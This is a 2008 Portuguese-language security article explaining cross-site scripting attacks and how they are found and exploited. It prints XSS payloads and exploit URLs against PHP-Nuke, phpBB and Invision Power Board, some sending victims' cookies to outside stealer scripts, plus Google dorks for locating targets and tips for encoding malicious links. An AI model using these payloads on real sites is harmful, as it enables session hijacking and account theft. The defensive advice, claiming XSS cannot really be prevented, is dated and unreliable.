XSS - Desenvolvimento + Segurança

Tuesday, 02/09/2008 às 10h09, por Luiz Vieira

Em http://imasters.com.br/artigo/9879/seguranca/xss-cross-site-scripting

XSS – Cross Site Scripting

Ataques XSS estão se tornando um grande problema e piorarão ainda mais se as pessoas não tomarem conhecimento desse tipo de ataque e suas vulnerabilidades.

Vulnerabilidades XSS têm sido encontradas em todos os tipos de site, até mesmo no fbi.gov, Yahoo.com, ebay.com e muitos outros sites populares e importantes.

Muitos administradores de sites falham em não atentar-se para ataques XSS, porque ou eles não sabem muita coisa sobre esse tipo de ataque, ou não os vêem como um problema.

Uma vulnerabilidade XSS quando explorada por um atacante hábil, ou mesmo um iniciante, pode ser um ataque poderoso. Este texto, procura detalhar um ataque XSS e conscientizá-lo sobre o que esses ataques são, como os atacantes usam-nos e como pode prevenir-se deles.

O que é XSS?

XSS também conhecido como CSS (Cross Site Scripting, facilmente confundido com Cascading Style Sheets) é uma vulnerabilidade muito comum encontrada em aplicativos web. XSS permite ao atacante inserir códigos maliciosos nessas páginas, para que sejam executados no momento em que tais páginas forem acessadas.

O ataque permite que conteúdos (scripts) em uma zona sem privilégio seja executado com permissão de uma zona privilegiada – i.e. escalação de privilégios no cliente (web browser) executando o script.

A vulnerabilidade poderia ser:

- Um bug do browser que sob determinadas condições permite conteúdos (scripts) de determinado nível ser executado com permissões de níveis mais altos.
- Um erro na configuração do browser; sites não-seguros listados em zonas privilegiadas.
- Vulnerabilidade de cross-site scripting em uma zona privilegiada.

Um cenário comum de ataque envolve dois passos:

O primeiro passo é utilizar uma vulnerabilidade Cross Site Scripting para executar scripts em zonas privilegiadas. Para completar o ataque, realizar ações maliciosas no computador utilizando controles ActiveX não-seguros.

Esse tipo de vulnerabilidade tem sido explorada para instalar silenciosamente vários *malwares* (tais como *spyware*, softwares de controle remoto, *worms* e coisas semelhantes) em computadores enquanto navegam em páginas web maliciosas.

Há muitos tipos de ataques XSS, mencionaremos 3 dos mais utilizados.

O primeiro tipo de ataque é de "XSS URL", que significa que o XSS não está na página e apenas será executado se colocar o código malicioso na URL e enviar a URL. Falaremos mais sobre esse tipo mais à frente e sobre como usá-lo para nossa vantagem.

O segundo tipo é em campos de texto (ou senhas), onde podemos entrar com dados, que muito comumente são vulneráveis a XSS. Por exemplo, digamos que encontramos um site com opção de busca. Agora entramos com a palavra "hacker" na caixa de busca e pressionamos enter; quando a página carrega, se retorna alguma informação dizendo "Found 100 Results For hacker", você poderá ver que serão exibidos dados na página. Mas o que aconteceria se você pudesse executar um código? Não é possível executar código PHP nesse tipo de ataque, mas certamente é possível códigos HTML, javascript.

No terceiro tipo, é possível inserir dados (códigos) e eles serão armazenados no site.

Que tipo de danos isso pode causar?

Bem, se um atacante cria um link manipulado e envia-o a uma vítima e essa vítima clica em tal link, um código javascript pode ser executado para enviar os cookies da vítima para um script CGI; obviamente que um ataque desse tipo poderia causar um dano maior. Quando um atacante cria um link malicioso, ele normalmente codifica o código javascript em HEX ou algum tipo de codificação para ocultar o código malicioso.

Sites que são vulneráveis a ataques XSS rodam algum tipo de conteúdo dinâmico, que é o tipo de conteúdo que altera-se com a interação do usuário ou informação armazenada no banco de dados, tais como fóruns, email on-line e locais onde informações são enviadas.

Você pode perguntar por que um ataque XSS não pode ocorrer enquanto o usuário não está acessando determinado domínio. Isso ocorre porque quando a vítima está em um determinado site, o código malicioso é executado sob a mesma permissão de aplicações web de domínio ou endereço IP.

Encontrando vulnerabilidade à XSS

Para encontrar vulnerabilidades XSS, devemos iniciar procurando em Blogs, Fóruns, Caixas de texto para mensagens, comentários, busca, e etc; há muitas possibilidades onde podemos encontrar esse tipo de campo, no qual podemos entrar com dados.

Podemos utilizar o Google para facilitar nossa busca. Por exemplo, se digitarmos no campo de busca do Google a linha inurl:"search.php?q=" teremos como retorno um número imenso de resultados encontrados, para encontrarmos alguns alvos para o ataque.

Se você é um desenvolvedor web, pode pensar o seguinte: “Bem, meu site não armazena nenhuma informação importante (se esse é o caso) entretanto ele usa aplicações web, por que me preocuparia com ataques?”

Há uma razão simples para isso: há um meio muito fácil de encontrar e escolher um site, e “script kiddies” freqüentemente usam esse método para descobrir aplicações web vulneráveis que possam ser exploradas. A razão pela qual eles procuram aplicações web é porque são extremamente fáceis de explorar, e quando as pessoas não prestam atenção às vulnerabilidades como o XSS, elas ficam abertas aos ataques destes script kiddies.

Esses garotos usam uma ferramenta, que usamos cotidianamente, e essa ferramenta é o Google. Alguns de nós já ouvimos falar de “Google Hacking”, entretanto nem todos sabem o quão fácil é encontrar sites vulneráveis utilizando o Google.

Se eu fosse um script kiddie, a primeira coisa que gostaria de fazer seria encontrar algum código vulnerável à um ataque XSS e é claro, explorá-lo.

Após uma pequena busca no Google, fui capaz de descobrir que, o Invision Power Board 1.3.1 Final é vulnerável à XSS, e é importante saber, se já não sabe disso, que o IPB é um programa de fórum web muito popular. Também consegui encontrar uma prova do Bugtraq Exploit:

```
[color=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`style=background:url("javas
cript:document.location.replace(´http://hackerlounge.com´);") [/color]
```

O exploit simplesmente redireciona a vítima para um outro site. Entretanto, se alguém alterar esse exploit (o que não necessita de muita habilidade), ele poderia facilmente ser utilizado para roubar cookies.

Agora é momento em que procuraremos quantos alvos podemos encontrar na Internet.

Simplesmente digitando “Powered By Invision Power Boards 1.3.1″ no Google, encontramos vários sites. Este é o principal método utilizado por script kiddies para encontrar aplicações web vulneráveis, portanto, tome cuidado se seu website puder ser facilmente encontrado e atacado.

Básico do XSS

O ataque mais comum utilizado contra vulnerabilidades XSS é a execução de códigos javascript para permitir o seqüestro de sessão (roubo de cookie). Utilizando javascript também seria possível fazer coisas com contas de usuários tal como alterar detalhes de seu perfil.

O maior risco que o XSS pode trazer é a execução de códigos no computador do usuário (client side). Entretanto, isso pode ocorrer apenas se há uma vulnerabilidade no browser que o usuário utiliza, permitindo que um ataque de tal tipo tome lugar e, para prevenir isso, é essencial que mantenha seu navegador atualizado com todos os patches. Ainda assim, recomendo que utilize o Firefox, que é reconhecidamente mais seguro que o Internet Explorer.

Vamos começar a aprender agora alguma coisa dos métodos XSS utilizados atualmente e o tipo de XSS Injection mais utilizado é:

```
<script>alert("XSS")</script>
```

Esse código fará com que uma caixa de mensagem de alerta, com “XSS” escrito nela, apareça na tela.

Então, retornando ao tópico anterior, vamos lembrar que uma das páginas, contidas em websites, que mais facilmente podemos encontrar é o search.php?q= . Depois de encontrado um site com esse tipo de página, vamos simplesmente tentar o seguinte: digite após o sinal de = o código <script>alert(“XSS”)</script> .

A URL na barra de endereço do browser ficará assim:

```
http://site.com/search.php?q=<script>alert("XSS")</script>
```

Há grandes chances de esse método funcionar, mas não se preocupe se isso não ocorrer. Apenas tente em outro site…

Um outros códigos XSS que fáceis de implementar são

<u>XSS</u> . O exemplo ficaria assim:

```
http://site.com/search.php?q=<br><br><b><u>XSS</u></b>
```

Se vir a palavra “XSS” em negrito na página, então saberá que o site é vulnerável. A partir daí, poderá seguir adiante utilizando outros métodos para explorar tais vulnerabilidades.

Exemplos de Exploits e Vulnerabilidades XSS

Vulnerabilidades e Exploits no PHP NUKE

```
http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optio
nbox=[´http://freewebhost.com/ph33r/steal.cgi?´+document.cookie]
```

O exploit acima pode explorar uma vulnerabilidade no PHP Nuke, pois o arquivo modules.php falha em limpar a inserção de dados pelo usuário

Vulnerabilidades e Exploits em Fóruns PHPBB

```
http://localhost.com/phpBB2/login.php(´http://freewebhost.com/ph33r/st
eal.cgi?´document.cookie)
```

O exploit acima é para uma vulnerabilidade HTTP Splitting em fóruns phpBB. HTTP Splitting é quando alguém injeta informações no cabeçalho HTTP. Novamente, se o programa php filtrasse os dados digitados pelo usuário, isso não seria permitido.

Invision Power Board

```
http://[target]/index.php?act=´><script>alert(document.cookie)</script
>
```

O exploit acima é, obviamente, o conceito mais básico de exploits, e tudo o que ele faz é exibir uma caixa de mensagem.

Esse exploit é para vulnerabilidades no IPB que permite que em suas versões mais antigas (<2.03) isso ocorra pelo fato de não haver tratamento dos dados digitados.

Após vermos as vulnerabilidades acima, podemos perceber que ataques XSS podem ocorrer principalmente em sites onde os desenvolvedores falharam em tratar o código para fazer filtragem do que é digitado pelos usuários.

Codificando URLs de Ataque

Codificar URLs de ataque é algo muito simples de fazer, bastando utilizar um programa específico para facilmente disfarçar um link malicioso em algo que não parece tão perigoso.

Usando o seguinte site:

```
http://ostermiller.org/calc/encode.html
```

Podemos transformar o seguinte link:

```
http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optio
nbox=[´http://freewebhost.com/ph33r/steal.cgi?´+document.cookie]
```

Neste outro:

```
http://localhost/nuke73/modules.php%3Fname%3DNews%26file%3Darticle%26s
id%3D1%26optionbox%3D%5B%27http%3A//freewebhost.com/ph33r/steal.cgi%3F
%27%2Bdocument.cookie%5D
```

Embora a URL possa ficar maior, essa codificação faz com a URL pareça menos arriscada ou perigosa para o usuário mediano. Codifiquei essa URL a partir do endereço mencionado acima.

Como posso proteger-me contra ataques XSS?

Resumidamente, não há meios de proteger-se contra ataques XSS, pois são ataques que ocorrem devido a vulnerabilidades de aplicações web que o host (o hospedeiro da aplicação) está executando. Um dos mitos sobre XSS é que SSL pode protegê-lo de um ataque XSS, o que não é verdade. Entretanto, freqüentemente vemos pessoas dizendo que um site pode ser vulnerável a XSS pelo fato de o mesmo não suportar SSL, apenas porque a conexão ocorre em um ambiente seguro, tanto quanto encriptação de dados não significa nada para um atacante que explora vulnerabilidades a XSS, pois ainda assim, o código que o atacante está manipulando ainda é executado.

A melhor forma de proteger-se de ataques XSS é tomar cuidado com links que são enviados por e-mail ou postados em fóruns (ou algo do tipo) que você acesse. Se a URL possui código Hex em seu conteúdo, isso pode ser sinal de um ataque XSS. Não é habitual que uma URL normal contenha código Hex; entretanto, os atacantes nem

sempre codificam javascript ou outros códigos em formato Hex. Uma URL que explora vulnerabilidades pode parecer como a que se segue:

```
http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails
&lid=02&ttitle=[http://site.org/stealcookie.cgi?´+document.cookie]
```

A URL acima é para explorar uma vulnerabilidade XSS na aplicação PHP Nuke, que é um software muito popular utilizado em muitos sites. Essa URL envia os cookies de usuários para http://site.org/stealcookie.cgi

Pode ajudar se você configurar as opções de segurança do Internet Explorer para high (alta) ou desabilitar JavaScript, Java, Flash, VBScript e ActiveX, embora isso possa atrapalhar o funcionamento do seu browser e possa, possivelmente, preveni-lo de acessar alguns sites que contenham vulnerabilidades XSS. Entretanto, se seu browser possuir algumas linguagens como JavaScript desabilitadas, é bem mais difícil para um atacante executar códigos maliciosos em seu browser.

Conclusão

Quando as pessoas acordarão e se darão conta de quão perigoso um ataque XSS pode ser? Ataques XSS são passíveis de serem descobertos em praticamente todas as aplicações baseadas na Web, incluindo phpBB, Invision Power Board e PHPNuke.

Se as pessoas não tornarem-se conscientes dos ataques XSS, os atacantes continuarão a explorar essas vulnerabilidades e isso pode levar a ataques poderosos e perigosos. É até mesmo possível que *scammers* escolham começar a usar ataques XSS ao invés do tradicional *Phishing*.

O fato é que as pessoas não prestam atenção às vulnerabilidades de XSS, e isso pode tornar-se muito perigoso. Com o tempo, talvez, isso mude e ataques desse tipo tornem-se mais raros.

Referências

http://en.wikipedia.org/wiki/Cross-site_scripting

http://www.cgisecurity.com/articles/xss-faq.shtml

http://osdir.com/ml/education.brazil.infoestacio/2006-10/msg00143.html

http://ha.ckers.org/xss.html

http://www.milw0rm.com

Luiz Vieira

é analista de segurança, bacharel em Filosofia pela UERJ e pós-graduando em Filosofia Clínica. Trabalha na área de TI desde 1995, com larga experiência em web, desenvolvimento, segurança e Linux. Trabalha com proteção de perímetro, hardening de servidores, pen testing, forense digital e consultoria na área de segurança da informação.

- Página do autor
- Email

Leia os últimos artigos publicados por Luiz Vieira

- Certificações em segurança: para qual estudar?
- Vulnerabilidade em sites com flash: problemas com ActionScript
- BIND: Ataque pode causar Negação de Serviço através do Dynamic Update
- Segurança da Informação: necessidades e mudanças de paradigma com o avanço da civilização
- A arte de HACKEAR pessoas